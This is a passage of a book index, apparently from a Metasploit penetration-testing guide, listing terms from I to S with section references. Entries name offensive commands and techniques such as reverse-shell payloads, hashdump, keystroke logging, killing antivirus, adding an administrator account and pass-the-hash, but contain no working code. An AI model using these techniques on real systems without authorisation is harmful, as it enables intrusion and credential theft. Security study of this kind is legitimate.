Internet Explorer 7 Uninitialized Memory Corruption (MS09-002), Putting It All Together with a Multipronged Attack

Internet Explorer Aurora exploit, Exploring the Internet Explorer Aurora Exploit, Client-Side Web Exploits

Internet Information Server (IIS), Setting Up a Vulnerable Windows XP Installation

Internet Message Access Protocol (IMAP) fuzzer, The Art of Fuzzing

Internet-based penetration tests, Port Scanning with Nmap

intrusion detection systems (IDS), MSFpayload, NSLookup, SEH Overwrite Exploit

intrusion prevention system (IPS), Active Information Gathering, Exploitation Using Client-Side Attacks, Simulated Penetration Test

IP address, using Netcraft to find, whois Lookups

ipidseq scan, Importing Nmap Results into Metasploit

IPS (intrusion prevention system), NSLookup, Exploitation Using Client-Side Attacks, Simulated Penetration Test

irb command, Meterpreter API, Printing Output

irb shell, Upgrading Your Command Shell to Meterpreter

ISO disc image, VMware Player, Installing and Setting Up the System

is_admin?() function, Meterpreter Mixins

is_uac_enabled?() function, Meterpreter Mixins

J

Java applet attack, Configuring the Social-Engineer Toolkit, Java Applet, Putting It All Together with a Multipronged Attack, Putting It All Together with a Multipronged Attack

Java Applet Attack Method option, SET main menu, Java Applet, Putting It All Together with a Multipronged Attack

Java Development Kit (JDK), Java applet attack, The Social-Engineer Toolkit

JavaScript output, MSFpayload

JDK (Java Development Kit), Java applet attack, The Social-Engineer Toolkit

jduck, The xp_cmdshell

JMP ESP address, Implementing Features of the Framework

jmp esp command, Nasm Shell

JMP instruction set, The JMP Instruction Set

K

KARMA, Karmetasploit

karma.rc file, Karmetasploit, Credential Harvesting

Karmetasploit, Karmetasploit

configuring, Karmetasploit

credential harvesting, Launching the Attack

getting shell, Credential Harvesting

launching attack, Configuration

Kelley, Josh, Building Your Own Module

Kennedy, David, Brute Forcing MS SQL Server, The Social-Engineer Toolkit, FastTrack, Building Your Own Module, Creating Your Own Meterpreter Script

Kerberos token, Token Impersonation, Using ps

keylog_recorder module, Capturing Keystrokes

keystroke logging, for Meterpreter, Capturing a Screenshot

keyscan_dump command, Meterpreter Commands

keyscan_start command, Meterpreter Commands

keyscan_stop command, Meterpreter Commands

keystrokes, capturing, Meterpreter Post Exploitation Commands

Killav, Killing Antivirus Software, Meterpreter Post Exploitation Commands

L

LAN Manager (LM) hashes, Capturing Keystrokes, Dumping the Password Hash

LHOST option, msf> show payloads, Exploiting Your First Machine, Privilege Escalation, Pivoting onto Other Systems, Upgrading Your Command Shell to Meterpreter, Launching the Attack, Creating Your Own Meterpreter Script, MSFconsole Commands

lib/msf/core/exploit/http.rb file, Anatomy of an Auxiliary Module

Linux system, Meterpreter Post Exploitation Commands

as target machine, Installing and Setting Up the System

dumping hashes on, Meterpreter Post Exploitation Commands

Metasploitable virtual machine, Simulated Penetration Test

LIST command, Creating Your Own Exploits, The Art of Fuzzing

listener, Listener

listener handler, Privilege Escalation

list_tokens -g command, Meterpreter Commands

list_tokens -u command, Using ps, Meterpreter Commands

little-endian format, Getting a Return Address, Implementing Features of the Framework

LM (LAN Manager) hashes, Capturing Keystrokes, Dumping the Password Hash

load auto_add_route command, Pivoting onto Other Systems, Customizing MSFconsole, Post Exploitation

load nessus command, Importing Results into the Metasploit Framework

load nexpose command, Importing Your Report into the Metasploit Framework

load sounds command, All-Ports Payloads: Brute Forcing Ports

Local System option, SQL Server Configuration Manager window, Building a SQL Server

Log on as option, SQL Server Configuration Manager window, Building a SQL Server

LPORT option, msf> show payloads, Exploiting Your First Machine, All-Ports Payloads: Brute Forcing Ports, Privilege Escalation, Upgrading Your Command Shell to Meterpreter, Creating Your Own Meterpreter Script

ls command, MSFconsole Commands

lsass.exe process, Exploring the Internet Explorer Aurora Exploit

M

Macaulay, Shane, Karmetasploit

MailCarrier 2.51 SMTP commands, Porting a Buffer Overflow

MailCarrier exploit, Stripping the Existing Exploit

mailcarrier_book.rb file, Configuring the Exploit Definition

make_nops() function, Adding Randomization

malicious ActiveX control, Getting a Shell

malicious files, File Format Exploits

man-left-in-the-middle attack, Man-Left-in-the-Middle

Management and Monitoring Tools checkbox, Windows Components Wizard, Setting Up a Vulnerable Windows XP Installation

mass brute force attack, SQLPwnage, MSSQL Bruter

mass client-side attack, Mass Client-Side Attack

mass emails, Java Applet

mass scan and dictionary brute option, FastTrack, MSSQL Bruter

McAfee antivirus software, The xp_cmdshell

MD5 checksum, Printing Output

Melvin, John, FastTrack

Memelli, Matteo, Creating Your Own Exploits

MessageBoxA function, Upgrading Your Command Shell to Meterpreter

messages log file, Launching the Attack

Metasploit Browser Exploit Method option, SET main menu, Client-Side Web Exploits, Putting It All Together with a Multipronged Attack

Metasploit client-side exploit, Putting It All Together with a Multipronged Attack

Metasploit Express, vs. Pro, Nasm Shell

Metasploit Framework (MSF), Metasploit Basics

interfaces for, Exploit

armitage, Sample Usage

msfcli, MSFconsole

msfconsole, MSFconsole

terminology in, Metasploit Basics

utilities for, Metasploit Utilities

msfencode, MSFencode

msfpayload, MSFpayload

nasm shell, MSFpayload

working with databases in, Working with Databases in Metasploit

Metasploit listener, Spear-Phishing Attack Vector, Customizing MSFconsole

Metasploit Pro, vs. Express, Nasm Shell

Metasploitable, Simulated Penetration Test, Attacking Apache Tomcat

Meterpreter, Meterpreter

and password hashes, Dumping Usernames and Passwords

dumping, Extracting the Password Hashes

extracting, Capturing Keystrokes

passing, Dumping the Password Hash

commands for, The xp_cmdshell, MSFconsole Commands

keystroke logging, Capturing a Screenshot

post exploitation, Meterpreter Post Exploitation Commands

screenshot, The xp_cmdshell

sysinfo, Capturing a Screenshot

compromising Windows XP virtual machine, Compromising a Windows XP Virtual Machine

attacking MS SQL, Compromising a Windows XP Virtual Machine

brute forcing MS SQL server, Attacking MS SQL

scanning for ports with nmap, Compromising a Windows XP Virtual Machine

xp_cmdshell, The xp_cmdshell

manipulating Windows APIs with Railgun add-on, Upgrading Your Command Shell to Meterpreter

pivoting with, Using ps

post exploitation modules for, Using Persistence

privilege escalation with, Pass the Hash

scripts for, Using Meterpreter Scripts

API for, Meterpreter API

creating, Rules for Writing Meterpreter Scripts

hashdump, Killing Antivirus Software

killav, Killing Antivirus Software

migrate, Migrating a Process

overview, Meterpreter Scripting

packetrecorder, Viewing All Traffic on a Target Machine

persistence, Using Persistence

rules for, Meterpreter Mixins

scraper, Scraping a System

token impersonation with, Privilege Escalation

upgrading command shell to, Using Persistence

Meterpreter shell, Exploiting Your First Machine, Putting It All Together with a Multipronged Attack

Microsoft IIS, vulnerability in WebDAV implementations, Auxiliary Modules in Use

Microsoft Security Bulletin MS10-002, Exploring the Internet Explorer Aurora Exploit

Microsoft SQL Attack Tools menu, MSSQL Bruter, Manual Injection

Microsoft SQL Server, Compromising a Windows XP Virtual Machine

attacking, Compromising a Windows XP Virtual Machine

brute forcing, Attacking MS SQL

getting command execution on, Building Your Own Module

injection with FastTrack tool, FastTrack

manual injection, SQL Injector — POST Parameter Attack

MSSQL Bruter, Manual Injection

POST parameter attack, SQL Injector — POST Parameter Attack

query string attack, Microsoft SQL Injection

SQLPwnage, MSSQL Bruter

on Windows XP, Setting Up a Vulnerable Windows XP Installation

targeted scanning for, Server Message Block Scanning

Microsoft SQL Tools option, Microsoft SQL Injection, MSSQL Bruter

Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow, File Format Exploits

Microsoft Windows–based payloads, msf> show options

migrate -f command, Exploring the Internet Explorer Aurora Exploit

migrate command, Capturing Keystrokes, Using Meterpreter Scripts

migrate PID command, Meterpreter Commands

Mitnick, Kevin, Creating Your Own Meterpreter Script

Mixed-mode authentication, MSSQL Bruter, Manual Injection

mixins, Writing a Custom Scanner

defined, Writing a Custom Scanner

for Meterpreter scripts, Printing Output

modules, Building Your Own Module

and code reuse, The Power of Code Reuse

creating, Creating a New Module

converting from hex to binary, Running the Shell Exploit

counters in, Conversion from Hex to Binary

running exploit, Counters

running Shell exploit, PowerShell

using PowerShell, Creating a New Module

defined, Exploit

exploring, Getting Command Execution on Microsoft SQL

getting command execution on Microsoft SQL, Building Your Own Module

modules directory, Running the Shell Exploit

MS08-067 exploit, msf> show options, msf> show options, Exploiting Your First Machine, Upgrading Your Command Shell to Meterpreter

ms08_067_netapi module, MSFcli, msf> show options

MS11-006 exploit, Exploring the Internet Explorer Aurora Exploit

MSF (Metasploit Framework). See Metasploit Framework (MSF), Writing a Custom Scanner

MSF binary payload, Building Your Own Module

msf exploit(ms08_067_netapi) prompt, msf> show options

msf MS08-067 prompt, msf> show payloads

msf prompt, msf> show options

msf.doc file, File Format Exploits

Msf::Auxiliary::Scanner mixin, Writing a Custom Scanner

Msf::Exploit::Remote::Seh mixin, SEH Overwrite Exploit

Msf::Exploit::Remote::Tcp mixin, Writing a Custom Scanner, Stripping the Existing Exploit

Msf::Exploit::Remote::Udp mixin, SEH Overwrite Exploit

Msf::Util::EXE.to_win32pe(framework, payload.encoded) option, Running the Shell Exploit

msfbook database, Working with Databases in Metasploit, Running Nmap from MSFconsole

msfcli, MSFconsole, Privilege Escalation, MSFencode Commands

msfconsole, MSFconsole, Working with Databases in Metasploit, Writing a Custom Scanner, Scanning with NeXpose, Importing Your Report into the Metasploit Framework

commands for, Cheat Sheet

info, info

save, setg and unsetg

set and unset, info

setg and unsetg, setg and unsetg

show auxiliary, The Joy of Exploitation

show exploits, The Joy of Exploitation

show options, msf> show options

show payloads, msf> show payloads

show targ, msf> show targets

customizing, Exploitation

customizing msfconsole, Exploitation

running NeXpose within, Importing Your Report into the Metasploit Framework

running nmap from, Running Nmap from MSFconsole

testing exploits, Configuring the Exploit Definition

msfconsole -r karma.rc command, Launching the Attack

msfencode, MSFencode, Encoding with MSFencode, MSFpayload Commands

msfencode -h command, MSFpayload, Encoding with MSFencode, MSFpayload Commands

msfpayload, MSFpayload

commands for, MSFpayload Commands

creating binaries with, Avoiding Detection

msfpayload -h command, MSFpayload, MSFpayload Commands

msfpayload command, Encoding with MSFencode, Looking at NOPs

msfpescan command, Hopping Around SEH Restrictions

msfupdate command, Updating Back|Track

msfvenom, Packers, MSFvenom

MSSQL Bruter option, MSSQL Bruter

MSSQL Bruter, Microsoft SQL injection, Manual Injection

MSSQL Injector option, Microsoft SQL Injection

mssql.rb file, Exploring an Existing Metasploit Module, Running the Shell Exploit, Running the Shell Exploit, Counters

mssql_commands.rb file, Exploring an Existing Metasploit Module

mssql_exec auxiliary module, Getting Command Execution on Microsoft SQL

mssql_login module, Attacking MS SQL

mssql_payload exploit, and PowerShell, Creating a New Module

mssql_payload module, Brute Forcing MS SQL Server

mssql_ping module, Server Message Block Scanning, Attacking MS SQL

mssql_powershell module, Building Your Own Module

mssql_powershell.rb file, Creating a New Module, Running the Shell Exploit, Counters

Mudge, Raphael, Sample Usage

multi-attack vector, Putting It All Together with a Multipronged Attack

Multi-Attack Web Method option, SET main menu, Putting It All Together with a Multipronged Attack

multi-encoding, Encoding with MSFencode

multi-handler listener, Sending the Payload

multi-handler, Meterpreter sessions, Meterpreter Scripting Basics

multi/handler module, Avoiding Detection, Creating Your Own Meterpreter Script

multi/http/tomcat_mgr_deploy exploit, Attacking Apache Tomcat

multi_meter_inject command, Meterpreter Scripting, Meterpreter Scripting Basics

Muts, SEH Overwrite Exploit

N

Nano, ctrl-W shortcut, Exploring an Existing Metasploit Module

nasm shell, MSFpayload

nasm_shell.rb utility, MSFpayload

NAT (Network Address Translation), Running Nmap from MSFconsole

Nessus, Scanning with Nessus

.nessus file format, Nessus Reports

Add button, Nessus Configuration, Creating a Nessus Scan Policy

Bridge plug-in, Scanning with Nessus from Within Metasploit

Browse button, Creating a Nessus Scan Policy

configuring, Running NeXpose Within MSFconsole

creating scan policy, Nessus Configuration

Discovered Assets section, The New Manual Scan Wizard

General settings, Creating a Nessus Scan Policy

Home Feed, Scanning with Nessus

importing report from, Nessus Reports

Launch Scan button, Creating a Nessus Scan Policy

Nessus window, Nessus Configuration

nessus_connect command, Scanning with Nessus from Within Metasploit

nessus_help command, Importing Results into the Metasploit Framework

nessus_report_get command, Scanning with Nessus from Within Metasploit

nessus_report_list command, Scanning with Nessus from Within Metasploit

nessus_scan_new command, Scanning with Nessus from Within Metasploit

nessus_scan_status command, Scanning with Nessus from Within Metasploit

Plugins page, Creating a Nessus Scan Policy

Policies tab, Nessus Configuration

Preferences page, Creating a Nessus Scan Policy

reports in, Creating a Nessus Scan Policy

running scan, Creating a Nessus Scan Policy

scanning from within Metasploit, Importing Results into the Metasploit Framework

Scans tab, Nessus Configuration, Creating a Nessus Scan Policy

Submit button, Creating a Nessus Scan Policy, Nessus Reports

Users tab, Nessus Configuration

net localgroup administrators metasploit/ADD command, Getting Command Execution on Microsoft SQL

net user command, Pass the Hash

netcat listener, Writing a Custom Scanner, Vulnerability Scanning

Netcraft, passive information gathering using, whois Lookups

Netgear switch, Simple Network Management Protocol Sweeping

netstat -an command, Using Immunity Debugger to Decipher NOP Shellcode

NetWin SurgeMail 3.8k4-4 vulnerability, Creating Your Own Exploits

Network Address Translation (NAT), Port Scanning with Metasploit

Network Connections Control Panel, Windows XP, Setting Up a Vulnerable Windows XP Installation

Network Service account, Building a SQL Server

New Database option, SQL Server Management Studio Express, Creating a Vulnerable Web Application

New Login option, User Properties window, Creating a Vulnerable Web Application

New Table option, SQL Server Management Studio Express, Creating a Vulnerable Web Application

NeXpose, Scanning with NeXpose

Administration tab, Configuration

Assets tab, Configuration

Community edition, Scanning with NeXpose

configuring, Scanning with NeXpose

Credentials tab, The New Site Wizard

Devices tab, Configuration

Home tab, The New Site Wizard

importing report from, The New Report Wizard

New Login button, Configuration

New Manual Scan button, The New Site Wizard

New Report button, The New Report Wizard

New Site button, Configuration

New Site wizard, The New Site Wizard

NeXpose Simple XML Export option, The New Report Wizard

Report Configuration wizard, The New Report Wizard

Report format field, The New Report Wizard

running within msfconsole, Importing Your Report into the Metasploit Framework

Scan Progress section, The New Manual Scan Wizard

Scan Setup tab, Configuration

Select Devices dialog, The New Report Wizard

Select Sites button, The New Report Wizard

Start New Scan dialog, The New Manual Scan Wizard

Start Now button, The New Site Wizard

Test Login button, Configuration

Vulnerabilities tab, Configuration

nexpose_connect -h command, Importing Your Report into the Metasploit Framework

nexpose_scan, Importing Your Report into the Metasploit Framework

Next SEH (NSEH), Hopping Around SEH Restrictions, Getting a Return Address, SEH Overwrite Exploit

nmap, MSSQL Bruter, Post Exploitation

-Pn flag, nmap, Port Scanning with Nmap

idle scan, Advanced Nmap Scanning: TCP Idle Scan, Advanced Nmap Scanning: TCP Idle Scan

importing results into Metasploit, Working with Databases in Metasploit

port scanning with, NSLookup, Compromising a Windows XP Virtual Machine

running from msfconsole, Running Nmap from MSFconsole

scan, Intelligence Gathering

script options, Exploiting Your First Machine

TCP idle scan, Advanced Nmap Scanning: TCP Idle Scan

No Execute (NX), Exploiting Your First Machine

noncredentialed scan, Running NeXpose Within MSFconsole

NOP (no-operation instruction), How Browser-Based Exploits Work, Hopping Around SEH Restrictions, Getting a Return Address, Assembly Language Basics, Stripping the Existing Exploit

Notepad, Meterpreter Scripting Basics

notepad.exe, Putting It All Together with a Multipronged Attack

NSEH (Next SEH), Hopping Around SEH Restrictions, Getting a Return Address, SEH Overwrite Exploit

nslookup, passive information gathering using, NSLookup

NT AUTHORITY\SYSTEM server username, Privilege Escalation

NTLM (NT LAN Manager), Capturing Keystrokes, Extracting the Password Hashes

NTLMv2 (NT LAN Manager v2), Capturing Keystrokes

NX (No Execute), Exploiting Your First Machine

O

Offset value, Adding Randomization

oledlg.dll file, SEH Overwrite Exploit

opcodes, Nasm Shell

Open option, Immunity Debugger, Using Immunity Debugger to Decipher NOP Shellcode

open source intelligence (OSINT), Passive Information Gathering

Open Table option, SQL Server Management Studio Express, Creating a Vulnerable Web Application

OpenSSH, SSH Server Scanning, Identifying Vulnerable Services

open_x11 scanner, Scanning for Open VNC Authentication

opt/framework3/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/ directory, Printing Output

OS X system, Meterpreter Post Exploitation Commands

dumping hashes on, Meterpreter Post Exploitation Commands

VMware Player, Installing and Setting Up the System

OSINT (open source intelligence), Intelligence Gathering

overt penetration testing, Post Exploitation, Overt Penetration Testing

overwrite exploits, for SEH, Our Completed Module

P
packers, Launching a Payload Stealthily

packetrecorder command, Killing Antivirus Software

pass-the-hash technique, Dumping the Password Hash

passing password hashes, Dumping the Password Hash

passive information gathering, Intelligence Gathering

using Netcraft, whois Lookups

using nslookup, NSLookup

whois lookups, Intelligence Gathering

passwords, Username and Password Harvesting

harvesting, Username and Password Harvesting

hashes for, Capturing Keystrokes

dumping, Extracting the Password Hashes

extracting, Capturing Keystrokes

passing, Dumping the Password Hash

pattern_offset.rb file, Controlling the Structured Exception Handler

pay = client.framework.payloads.create(payload) function, Meterpreter Scripting Basics

payload, Payload, Meterpreter

payload.encoded function, Removing the Dummy Shellcode

payload.exe file, Pass the Hash, Privilege Escalation

PDF file format bug, spear-phishing attack vector, Configuring the Social-Engineer Toolkit

PE (Portable Executable) format, Avoiding Detection

penetration testing, Post Exploitation

Penetration Testing Execution Standard (PTES), phases of, The Phases of the PTES

exploitation, Threat Modeling

intelligence gathering, The Phases of the PTES

post exploitation, Post Exploitation

pre-engagement interactions, Pre-engagement Interactions

reporting, Reporting

threat modeling, The Phases of the PTES

vulnerability analysis, Vulnerability Analysis

pentest/exploits/fasttrack/ directory, Updating Back|Track

pentest/exploits/set/ directory, The Social-Engineer Toolkit, Updating Back|Track

Perez, Carlos, Meterpreter Scripting

Perform a Mass Email Attack option, SET main menu, Spear-Phishing Attack Vector

persistence command, Using Persistence

PID (process ID), Meterpreter Scripting Basics

PID variable, Meterpreter Scripting Basics

ping command, Port Scanning with Nmap

pivoting, Using ps

process of, Running Nmap from MSFconsole

with Meterpreter, Pivoting onto Other Systems

polymorphic encoding, Encoding with MSFencode

PolyPack project, Packers

POP-POP-RETN sequence of instructions, Hopping Around SEH Restrictions, Hopping Around SEH Restrictions, Getting a Return Address, Our Completed Module, SEH Overwrite Exploit, SEH Overwrite Exploit

POP3 service, Launching the Attack

port scanning with nmap, NSLookup, Compromising a Windows XP Virtual Machine

Portable Executable (PE) format, Creating Stand-Alone Binaries with MSFpayload

porting exploits to Metasploit, Porting Exploits to the Metasploit Framework

assembly languages, Assembly Language Basics

buffer overflow exploits, Assembly Language Basics

adding randomization, Implementing Features of the Framework

completed module, Removing the Dummy Shellcode

configuring exploit definition, Stripping the Existing Exploit

implementing features of the Framework, Implementing Features of the Framework

removing dummy shellcode, Adding Randomization

removing NOP Slide, Adding Randomization

stripping existing exploit, Stripping the Existing Exploit

testing base exploit, Configuring the Exploit Definition

SEH overwrite exploit, Our Completed Module

portscan syn module, Port Scanning with Metasploit

post exploitation, Using Persistence

modules for Meterpreter, Using Persistence

phase of PTES, Threat Modeling

POST parameter attack, Microsoft SQL injection, SQL Injector — Query String Attack

POST parameters, Username and Password Harvesting

Postfix mail server, Identifying Vulnerable Services

postgres username, in PostgreSQL database, Working with Databases in Metasploit

PostgreSQL database, Working with Databases in Metasploit

PowerShell, Building Your Own Module, Creating a New Module, Creating powershell_upload_exec

powershell_upload_exec function, Running the Shell Exploit

pre-engagement interactions, Pre-engagement Interactions

printing output, for Meterpreter scripts, Meterpreter API

print_error() function, Printing Output

print_line() function, Meterpreter API

print_status() function, Meterpreter API

priv extensions, Privilege Escalation

privilege escalation, Pass the Hash, Exploring the Internet Explorer Aurora Exploit

privilege-escalation attack, Browser-Based Exploits

PRNG exploit, Attacking Apache Tomcat

Process Explorer, Windows, Custom Executable Templates

process ID (PID), Meterpreter Scripting Basics

ProFTPD 1.3.1, Identifying Vulnerable Services

protection mechanisms, Meterpreter Post Exploitation Commands

Protocol tab, SQL Server Configuration Manager window, Building a SQL Server

Protocols for SQLEXPRESS option, SQL Server Configuration Manager window, Building a SQL Server

ps command, Capturing a Screenshot, Privilege Escalation, Launching the Attack, Meterpreter Commands

PTES (Penetration Testing Execution Standard). See Penetration Testing Execution Standard (PTES), Scanning for Open VNC Authentication

PureBasic language, Scanning for Open VNC Authentication

PUT method, HTTP, Attacking Apache Tomcat, Attacking Obscure Services

PuTTY Windows SSH client, Launching a Payload Stealthily

Q
query string attack, Microsoft SQL injection, Microsoft SQL Injection

Query String Parameter Attack option, Microsoft SQL Injection

Quick TFTP Pro 2.1, SEH Overwrite Exploit

R

Railgun add-on, manipulating Windows APIs with, Upgrading Your Command Shell to Meterpreter

rainbow table attack, Dumping the Password Hash

random characters, SEH Overwrite Exploit, SEH Overwrite Exploit

random dynamic port, TCP, Server Message Block Scanning

random payload name, Conversion from Hex to Binary

rand_text_alpha_upper buffer, Adding Randomization

Rapid7, Scanning with NeXpose

RATTE (Remote Administration Tool Tommy Edition), Additional SET Features

raw hexadecimal format, convert executable to, Running the Shell Exploit

RDP (Remote Desktop Protocol), Customizing MSFconsole

read-only (RO) community string, Simple Network Management Protocol Sweeping

read/write (RW) community string, Simple Network Management Protocol Sweeping

reboot command, Meterpreter Commands

reg command command, Meterpreter Commands

regedit, Using Persistence

registry keys, Using Persistence

registry manipulation, Meterpreter Mixins

Remote Administration Tool Tommy Edition (RATTE), Additional SET Features

Remote Desktop Protocol (RDP), Post Exploitation

remote GUI (VNC), getting, Meterpreter Post Exploitation Commands

Remote Procedure Call (RPC) service, msf> show options

reporting phase of PTES, Post Exploitation

Reports tab, Nessus Configuration, Importing Results into the Metasploit Framework

Nessus, Nessus Configuration, Nessus Reports

NeXpose home page, Scanning with NeXpose, The New Manual Scan Wizard, The New Report Wizard

Required column, Validating SMB Logins

resource command, All-Ports Payloads: Brute Forcing Ports

resource files, for exploitation, All-Ports Payloads: Brute Forcing Ports

resource karma.rc command, Launching the Attack

resource.rc file, All-Ports Payloads: Brute Forcing Ports

restrictions for SEH, Hopping Around SEH Restrictions

rev2self command, Privilege Escalation, Meterpreter Commands

reverse Meterpreter payload, Java Applet, Putting It All Together with a Multipronged Attack

reverse payload, msf> show payloads

reverse shell, Payload

reverse_tcp payload, msf> show payloads, Exploiting Your First Machine, Exploiting Your First Machine

Rex::Text.pattern_create, Controlling the Structured Exception Handler

Rex::Text.rand_text_alpha function, Creating Your Own Meterpreter Script

RHOST option, MSFcli, MSFconsole Commands

RHOSTS option, Importing Nmap Results into Metasploit, Running Nmap from MSFconsole, Exploiting Your First Machine, Pivoting onto Other Systems, Metasploit Auxiliary Modules, Metasploit Auxiliary Modules

RO (read-only) community string, Simple Network Management Protocol Sweeping

robots.txt file, Auxiliary Modules in Use

root/.msf3/config directory, setg and unsetg

root/.msf3/modules/auxiliary/fuzzers/ directory, Creating Your Own Exploits

root/.msf3/modules/exploits/windows/imap/ directory, Hopping Around SEH Restrictions

route add command, Pivoting onto Other Systems

route command, Pivoting onto Other Systems

route print command, Pivoting onto Other Systems

RPC (Remote Procedure Call) service, msf> show options

RPORT option, MSFcli

RSA company, Exploitation Using Client-Side Attacks

RT73 chipset, Configuration

Ruby programming language, Building Your Own Module

Ruby shell, Manipulating Windows APIs with the Railgun Add-On

rules for Meterpreter scripts, Meterpreter Mixins

run command, Anatomy of an Auxiliary Module, Meterpreter Scripting, Creating Your Own Meterpreter Script

run get_local_subnets command, Using ps

run hashdump command, Killing Antivirus Software

run migrate script, Exploring the Internet Explorer Aurora Exploit

run screen_unlock command, Using Meterpreter Scripts

run scriptname command, Using Meterpreter Scripts, MSFconsole Commands

run vnc command, Using Meterpreter Scripts

run_batch(batch) method, Simple Network Management Protocol Sweeping

run_host(ip) method, Simple Network Management Protocol Sweeping

run_range(range) method, Simple Network Management Protocol Sweeping

RW (read/write) community string, Simple Network Management Protocol Sweeping

S
sa (system administrator) account, Attacking MS SQL, Brute Forcing MS SQL Server, Manual Injection, Building Your Own Module

SAM (Security Account Manager) database, Extracting the Password Hashes, Meterpreter Post Exploitation Commands

Samba exploit, Exploiting an Ubuntu Machine, Pivoting onto Other Systems

save command, setg and unsetg

scan policies, list of available, Scanning with Nessus from Within Metasploit

scanner mixin, Simple Network Management Protocol Sweeping

scanner/ftp/ anonymous module, anonymous logins, FTP Scanning

scanner/http modules, Metasploit Auxiliary Modules

scanner/ip/ipidseq module, Importing Nmap Results into Metasploit

scanner/portscan/syn module, Customizing MSFconsole

scanner/portscan/tcp module, Pivoting onto Other Systems, Customizing MSFconsole

scanner/snmp/snmp_enum module, Simple Network Management Protocol Sweeping

scanning, Post Exploitation

a number of systems, Server Message Block Scanning

Metasploitable system, Scanning the Metasploitable System

only one system, Server Message Block Scanning

scraper command, Killing Antivirus Software

screenshot command, The xp_cmdshell, Meterpreter Commands

scripts, for Meterpreter, Using Meterpreter Scripts, Meterpreter Scripting

API for, Meterpreter API

creating, Rules for Writing Meterpreter Scripts

hashdump, Killing Antivirus Software

killav, Killing Antivirus Software

migrate, Using Meterpreter Scripts

overview, Meterpreter Scripting

packetrecorder, Killing Antivirus Software

persistence, Using Persistence

rules for, Meterpreter Mixins

scraper, Killing Antivirus Software

scripts/meterpreter/ directory, Using ps, Meterpreter Scripting, Meterpreter Mixins

Search button, Login-New window, Creating a Vulnerable Web Application

search command, The Joy of Exploitation, msf> show options

search name command, Cheat Sheet

search scanner/http command, Metasploit Auxiliary Modules

Secure Shell (SSH), SSH Server Scanning, Scanning the Metasploitable System

Secure Sockets Layer (SSL), Writing a Custom Scanner

Security Account Manager (SAM) database, Dumping the Password Hash, Meterpreter Post Exploitation Commands

SEH (Structured Exception Handler), The Art of Fuzzing

controlling, The Art of Fuzzing

overwrite exploits for, porting to Metasploit, Our Completed Module

restrictions for, Hopping Around SEH Restrictions

three-byte overwrite of the, Getting a Return Address

SEH chain option, Immunity Debugger, The Art of Fuzzing, Getting a Return Address

send_request_cgi method, Anatomy of an Auxiliary Module

separate process, automigrating to, Meterpreter Post Exploitation Commands

Server Message Block (SMB). See SMB (Server Message Block), Meterpreter Mixins

service_(name) function, Meterpreter Mixins

sessions -c cmd command, MSFconsole Commands

sessions -i 1 command, Exploiting Your First Machine

sessions -i sessionid, Privilege Escalation

sessions -K command, MSFconsole Commands

sessions -l -v command, Exploiting Your First Machine, MSFconsole Commands

sessions -l command, Exploiting Your First Machine, Privilege Escalation, MSFconsole Commands

sessions -s script command, MSFconsole Commands

sessions -u 1 command, Upgrading Your Command Shell to Meterpreter

sessions -u command, Using Persistence

sessions -u sessionID command, MSFconsole Commands

SET (Social-Engineer Toolkit), The Social-Engineer Toolkit

AUTO_DETECT setting, Configuring the Social-Engineer Toolkit

OFF option, Configuring the Social-Engineer Toolkit

ON option, The Social-Engineer Toolkit

config/set_config file, The Social-Engineer Toolkit

configuring, The Social-Engineer Toolkit

Infectious Media Generator, Infectious Media Generator

spear-phishing attack vector, Configuring the Social-Engineer Toolkit

Teensy USB HID attack vector, Putting It All Together with a Multipronged Attack

web attack vectors, Web Attack Vectors

client-side web exploits, Client-Side Web Exploits

Java applet attack, Java Applet

man-left-in-the-middle attack, Man-Left-in-the-Middle

multi-attack vector, Putting It All Together with a Multipronged Attack

tabnabbing attack, Tabnabbing

username and password harvesting, Username and Password Harvesting

web jacking attack, Web Jacking

set autorunscript migrate -f command, MSFconsole Commands

set command, info

set function command, MSFconsole Commands

SET Interactive Shell, Additional SET Features

set LHOST command, Exploiting Your First Machine

set payload payload command, MSFconsole Commands

set payload windows/shell/reverse_tcp command, msf> show payloads

set target num command, MSFconsole Commands

SET Web-GUI, Additional SET Features

setdesktop number command, Meterpreter Commands

setg command, setg and unsetg, Upgrading Your Command Shell to Meterpreter

setg function command, MSFconsole Commands

set_config file, Spear-Phishing Attack Vector

SHA1 checksum, Printing Output

SHA256 checksum, Printing Output

shell command, Exploiting Your First Machine, Meterpreter Commands

shell, upgrading to Meterpreter, Using Persistence

SHELL32.DLL, Windows XP SP2, Implementing Features of the Framework

shellcode, Shellcode, MSFpayload

shell_reverse_tcp payload, Avoiding Detection

shift-F9 shortcut, in Immunity Debugger, Getting a Return Address

shikata_ga_nai encoder, Encoding with MSFencode, Multi-encoding, MSFencode Commands

show command, Scanning for Open X11 Servers, The Joy of Exploitation, Exploiting Your First Machine, Exploiting Your First Machine, Exploiting Your First Machine, Exploring the Internet Explorer Aurora Exploit, Metasploit Auxiliary Modules, Running the Shell Exploit, Cheat Sheet, MSFconsole Commands

show_options command, Scanning with Nessus from Within Metasploit

signatures, Avoiding Detection

Simple Mail Transport Protocol (SMTP), Spear-Phishing Attack Vector, Identifying Vulnerable Services

Simple Network Management Protocol (SNMP), Simple Network Management Protocol Sweeping, Configuring Your Web Server on Windows XP

simple_tcp.rb script, Writing a Custom Scanner

simulated penetration test, Simulated Penetration Test

attacking Apache Tomcat, Identifying Vulnerable Services

attacking obscure services, Attacking Apache Tomcat

covering tracks from, Attacking Obscure Services

customizing msfconsole, Exploitation

exploitation, Exploitation

intelligence gathering, Simulated Penetration Test

planning, Pre-engagement Interactions

post exploitation, Customizing MSFconsole

identifying vulnerable services, Scanning the Metasploitable System

scanning Metasploitable system, Post Exploitation

threat modeling, Threat Modeling

Single Target option, FastTrack, MSSQL Bruter

Site Cloner option, SET main menu, Java Applet, Client-Side Web Exploits, Username and Password Harvesting, Web Jacking, Putting It All Together with a Multipronged Attack

SMB (Server Message Block), Port Scanning with Metasploit

scanning of, Port Scanning with Metasploit

vulnerability scanning for logins, Scanning with Nessus from Within Metasploit

smb/psexec module, Dumping the Password Hash

SMBPass variable, Pass the Hash

smb_login module, Scanning with Nessus from Within Metasploit

smb_version module, Port Scanning with Metasploit, Server Message Block Scanning

SMPIPE option, MSFcli

SMTP (Simple Mail Transport Protocol), Configuring the Social-Engineer Toolkit, Identifying Vulnerable Services

sniffer_dump interfaceID pcapname command, Meterpreter Commands

sniffer_interfaces command, Meterpreter Commands

sniffer_start interfaceID packet-buffer command, Meterpreter Commands

sniffer_stats interfaceID command, Meterpreter Commands

